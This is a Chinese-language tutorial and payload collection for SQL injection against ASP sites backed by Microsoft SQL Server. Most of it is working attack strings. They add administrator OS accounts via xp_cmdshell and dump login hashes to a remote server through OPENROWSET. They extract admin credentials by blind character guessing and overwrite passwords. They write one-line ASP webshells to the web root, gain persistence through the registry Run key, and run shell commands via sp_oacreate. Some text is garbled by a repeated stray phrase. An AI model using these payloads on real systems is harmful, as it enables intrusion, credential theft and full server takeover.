OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select
* from table1′) select * from database..table1
insert into
OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select
* from table2′) select * from database..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(‘SQLOLEDB’,
‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select * from
_sysxlogins’) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
‘;create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));–
‘;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
‘;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
获得所有子目录的目录树结构,并寸入temp表中
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘type
c:\web\index.asp’;– 查看某个文件的内容
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:\’;–
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:\ *.asp /s/a’;–
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’
‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
(xp_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(Select IS_SRVROLEMEMBER(‘sysadmin’));–
语句2:and 1=(Select IS_SRVROLEMEMBER(‘serveradmin’));–
语句3:and 1=(Select IS_SRVROLEMEMBER(‘setupadmin’));–
语句4:and 1=(Select IS_SRVROLEMEMBER(‘securityadmin’));–
语句5:and 1=(Select IS_SRVROLEMEMBER(‘securityadmin’));–
语句6:and 1=(Select IS_SRVROLEMEMBER(‘diskadmin’));–
语句7:and 1=(Select IS_SRVROLEMEMBER(‘bulkadmin’));–
语句8:and 1=(Select IS_SRVROLEMEMBER(‘bulkadmin’));–
语句9:and 1=(Select IS_MEMBER(‘db_owner’));–
把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_dirtree ‘c:\’–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(‘@Inetpub’))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_dirtree ‘e:\web’–
and 0<>(select top 1 paths from dirs1)–
把数据库备份到网页目录:下载
;declare @a sysname; set @a=db_name();backup database @a to
disk=’e:\web\down.bak’;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where
xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(‘USER_LOGIN’),1) from sysobjects)
参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec
sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ‘readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ‘readline’, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘createtextfile’, @f out,
‘c:\inetpub\wwwroot\foo.asp’, 1
exec @ret = sp_oamethod @f, ‘writeline’, NULL,
”
declare @o int, @ret int
exec sp_oacreate ‘speech.voicetext’, @o out
exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’
exec sp_oasetproperty @o, ‘speed’, 150
exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel servers are belong
to,us’, 528
waitfor delay ’00:00:05′
‘; declare @o int, @ret int exec sp_oacreate ‘speech.voicetext’, @o out
exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ exec sp_oasetproperty
@o, ‘speed’, 150 exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel
servers are belong to us’, 528 waitfor delay ’00:00:05′–
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree ‘c:\’
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree ‘c:\’
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
SQL注入法攻击一日通
作者:admin — 上次修改时间: 2007-09-27 00:09
SQL注入法攻击一日通
(此文章是对网上大量同类文章的分析与总结,并结合自己实施过程中的体会综合而成,其中有不少直接引用,没有注意出处,请原作者见谅)
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时 候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就 是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没 查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分 析,构造巧妙的SQL语句,从而成功获取想要的数据。
据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,以SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)
SQL注入攻击的总体思路是:
? 发现SQL注入位置;
? 判断后台数据库类型;
? 确定XP_CMDSHELL可执行情况
? 发现WEB虚拟目录
? 上传ASP木马;
? 得到管理员权限;
一、SQL注入漏洞的判断
一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动们一起收进屋态们一起收进屋网页中,有时一个动们一起收进屋态们一起收进屋网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动们一起收进屋态们一起收进屋网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
为了全面了解动们一起收进屋态们一起收进屋网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=’YY’,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and ’1′=’1′, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and ’1′=’2′, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
二、区分数据库服务器类型
一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
1、 利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
3、 MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
对象类型(xtype)。可以是下列对象类型中的一种:
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束(类型是 K)
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束(类型是 K)
V = 视图
X = 扩展存储过程
当xtype=’U’ and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype=’U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。
syscolumns :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0 abc.asp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”– (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表 示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”– 把刚刚增加的帐户aaa加到administrators组中。
5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk=’c:\inetpub\wwwroot\save.db’ 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
四、发现WEB虚拟目录
只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
先创建一个临时表:temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
接下来:
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp exec master.dbo.xp_availablemedia;–
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;–
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;–
使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’
浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
当然,如果xp_cmshell能够执行,我们可以用它来完成:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:\’;–
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:\ *.asp /s/a’;–
通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell ‘cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’
但是,如果不是SA权限,我们还可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
注意:
1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;–
2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from TestDB.dbo.temp )>0 where id not in(‘xyz’))>0 得到表TEMP中第二条记录id字段的值。
五、上传ASP木马
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
1、利用WEB的远程管理功能
许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都 有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、 注入法:
从理论上说,认证网页中会有型如:
select * from admin where username=’XXX’ and password=’YYY’ 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
如在用户名文本框内输入:abc’ or 1=1– 在密码框内输入:123 则SQL语句变成:
select * from admin where username=’abc’ or 1=1 and password=’123’ 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
B、猜解法:
基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
? 猜解所有数据库名称
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成 7,8,9,10,11,12…就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
? 猜解数据库中用户名表的名称
猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist, userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers, sysaccounts,systemaccounts等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
当xtype=’U’ and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
? 猜解用户名字段及密码字段名称
admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
读取法:基本的实现方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 col_name(object_id(‘admin’),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id(‘admin’),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在 异常中却可以发现字段的名称。把col_name(object_id(‘admin’),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名 称。
? 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 len(username) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII 值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某 一位值。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);
猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
简单法:猜用户名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以 得到第二用户名,第三个用户等等,直到表中的所有用户名。
猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码, 第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=’ a0b923820dcc509a’ where username=’www’;– ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)
用同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar (‘S’参数为执行查询的服务器,’U'参数为用户名,’P'参数为密码,最终上传了一个runcommand.asp的木马)
六、得到系统的管理员权限
ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的所有用户名密码;
等等,视系统的具体情况而定,可以采取不同的方法。
七、几个SQL-SERVER专用手段
1、利用xp_regread扩展存储过程修改注册表
[xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring, Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues, Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM 值,允许建立空连接,开机自动运行程序等。如:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 确定什么样的会话连接在服务器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’ 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
2、利用其他存储过程去改变服务器
xp_servicecontrol过程允许用户启动,停止服务。如:
(exec master..xp_servicecontrol ‘start’,'schedule’
exec master..xp_servicecontrol ‘start’,'server’)
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig 获取服务器安全信息
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
备份数据库的命令是:
BACKUP DATABASE test
TO disk = ‘c:\test’
WITH FORMAT,
NAME = ‘Full Backup of MyNwind’
解释如下:
BACKUP DATABASE test –这里的test指的是数据库名称
TO disk = ‘c:\test’ –这里指名的数据库路径
WITH FORMAT,
NAME = ‘Full Backup of MyNwind’ –这个是备注,无所谓。。随便写。
还原数据库的命令是:
USE master
GO
RESTORE DATABASE test_wt
FROM disk = ‘c:\test_wt’
GO
解释如下:
USE master –所使用的数据库
GO
RESTORE DATABASE test_wt –所被恢复的数据库名称
FROM disk = ‘c:\test_wt’ –本地硬盘路径
GO
1、 用^转义字符来写ASP(一句话木马)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell ‘echo ^<script language=VBScript runat=server^>execute request^(“l”^)^</script^> >c:\mu.asp’;–
? echo ^<%execute^(request^(“l”^)^)%^> >c:\mu.asp
2、 显示SQL系统版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)–
Microsoft VBScript 编译器错误 错误 ’800a03f6′
缺少 ‘End’
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 – 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ‘ to a column of data type int.
/display.asp,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查 询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类 似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。
4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = ‘X’ AND name = ‘xp_cmdshell’)
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,'e:\inetput\web\xplog70.dll’;–
5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,'help1′,’REG_SZ’,'cmd.exe /c net user test ptlove /add’
6、 查看当前的数据库名称:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())–
Microsoft VBScript 编译器错误 错误 ’800a03f6′
缺少 ‘End’
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘huidahouse’ to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录
8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ‘wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c dir c:\>c:\temp.txt’,’0′,’true’
–注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate ‘scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
–因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
